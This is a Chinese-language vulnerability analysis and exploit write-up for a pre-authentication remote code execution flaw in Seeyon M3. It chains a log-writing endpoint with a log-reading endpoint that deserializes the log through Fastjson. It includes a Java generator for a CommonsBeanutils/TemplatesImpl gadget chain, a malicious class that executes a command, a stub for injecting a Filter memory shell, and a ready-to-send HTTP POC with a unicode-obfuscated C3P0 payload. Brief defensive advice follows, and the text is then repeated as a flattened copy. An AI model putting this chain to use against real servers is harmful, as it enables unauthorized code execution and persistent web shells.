某远M3 前台远程代码执行漏洞
字数 1074 2025-08-24 07:48:10

致远M3前台远程代码执行漏洞分析

漏洞概述

致远M3系统存在一个前台远程代码执行漏洞,该漏洞利用Fastjson反序列化漏洞实现RCE。攻击者可以通过两个接口的配合使用,将恶意payload写入日志后触发反序列化操作,从而执行任意代码。

漏洞分析

漏洞原理

该漏洞分为两个关键步骤:

  1. payload写入日志:通过/mobile_portal/api/pns/message/send/batch/6_1sp1接口将恶意payload存入日志
  2. 触发反序列化:通过/mobile_portal/api/systemLog/pns/loadLog/app.log接口读取日志内容并进行Fastjson反序列化

详细分析

第一步:payload写入日志

  1. 攻击者向/mobile_portal/api/pns/message/send/batch/6_1sp1接口发送特制请求
  2. 系统会调用M3PushMessageTask.getInstance()获取实例并启动线程
  3. 线程执行sendMessageByV61sp1方法,根据serviceProvider参数选择对应的PushPublisher
  4. serviceProvider设置为"baidu"时,进入BaiduPushPublisher处理
  5. sendAndroidMessage方法中,直接将userMessageId写入日志文件/logs_pns/app.log

第二步:触发反序列化

  1. 攻击者访问/mobile_portal/api/systemLog/pns/loadLog/app.log接口
  2. 系统读取日志内容并调用setLogList方法
  3. setLogList方法直接调用JSON.Util.parseJSONString()对日志内容进行反序列化
  4. 恶意payload被反序列化,触发Fastjson漏洞

调用栈

at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171)
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:722)
at java.util.PriorityQueue.siftDown(PriorityQueue.java:688)
at java.util.PriorityQueue.heapify(PriorityQueue.java:737)
at java.util.PriorityQueue.readObject(PriorityQueue.java:797)
...
at com.alibaba.fastjson.JSON.parseObject(JSON.java:295)
at com.seeyon.portal.core.utils.JSONUtil.parseJSONString(JSONUtil.java:83)
at com.seeyon.portal.rest.resources.LogResource.setLogList(LogResource.java:163)

漏洞利用

利用方式

  1. 使用C3P0依赖的Fastjson加载HEX编码,实现二次反序列化
  2. 反序列化部分可利用CB链打TemplateImpl加载字节码
  3. 由于第一步需要传入List类型,JSON数据外层需要加[]

利用代码

生成反序列化payload

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class M3Payload {
    // 省略辅助方法...
    
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(Serialize_Evil.class.getName());
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{ctClass.toBytecode()});
        setFieldValue(templates, "_name", "123");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        BeanComparator beanComparator = new BeanComparator("outputProperties");
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});
        setFieldValue(priorityQueue, "size", 2);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(priorityQueue);
        System.out.println(toHexAscii(baos.toByteArray()));
    }
}

恶意类示例

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Serialize_Evil extends AbstractTranslet {
    public Serialize_Evil() throws Exception {
        super();
        Runtime.getRuntime().exec("ping xxxxx");
    }
    // 省略其他方法...
}

内存马注入

可以利用该漏洞注入Filter内存马:

public class Serialize_FilterMemshell extends AbstractTranslet implements Filter {
    // 实现Filter接口的方法...
    // 在static块中注入内存马...
}

POC示例

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: target
Content-Type: application/json
Content-Length: 3680

[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:HEX;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]

然后访问:

GET /mobile_portal/api/systemLog/pns/loadLog/app.log

防御建议

  1. 升级Fastjson到最新安全版本
  2. 对日志读取接口进行严格的输入验证
  3. 限制不必要的接口访问权限
  4. 使用白名单机制限制反序列化的类
  5. 部署WAF等防护设备拦截恶意请求
致远M3前台远程代码执行漏洞分析 漏洞概述 致远M3系统存在一个前台远程代码执行漏洞,该漏洞利用Fastjson反序列化漏洞实现RCE。攻击者可以通过两个接口的配合使用,将恶意payload写入日志后触发反序列化操作,从而执行任意代码。 漏洞分析 漏洞原理 该漏洞分为两个关键步骤: payload写入日志 :通过 /mobile_portal/api/pns/message/send/batch/6_1sp1 接口将恶意payload存入日志 触发反序列化 :通过 /mobile_portal/api/systemLog/pns/loadLog/app.log 接口读取日志内容并进行Fastjson反序列化 详细分析 第一步:payload写入日志 攻击者向 /mobile_portal/api/pns/message/send/batch/6_1sp1 接口发送特制请求 系统会调用 M3PushMessageTask.getInstance() 获取实例并启动线程 线程执行 sendMessageByV61sp1 方法,根据 serviceProvider 参数选择对应的 PushPublisher 当 serviceProvider 设置为"baidu"时,进入 BaiduPushPublisher 处理 在 sendAndroidMessage 方法中,直接将 userMessageId 写入日志文件 /logs_pns/app.log 第二步:触发反序列化 攻击者访问 /mobile_portal/api/systemLog/pns/loadLog/app.log 接口 系统读取日志内容并调用 setLogList 方法 setLogList 方法直接调用 JSON.Util.parseJSONString() 对日志内容进行反序列化 恶意payload被反序列化,触发Fastjson漏洞 调用栈 漏洞利用 利用方式 使用C3P0依赖的Fastjson加载HEX编码,实现二次反序列化 反序列化部分可利用CB链打 TemplateImpl 加载字节码 由于第一步需要传入List类型,JSON数据外层需要加 [] 利用代码 生成反序列化payload 恶意类示例 内存马注入 可以利用该漏洞注入Filter内存马: POC示例 然后访问: 防御建议 升级Fastjson到最新安全版本 对日志读取接口进行严格的输入验证 限制不必要的接口访问权限 使用白名单机制限制反序列化的类 部署WAF等防护设备拦截恶意请求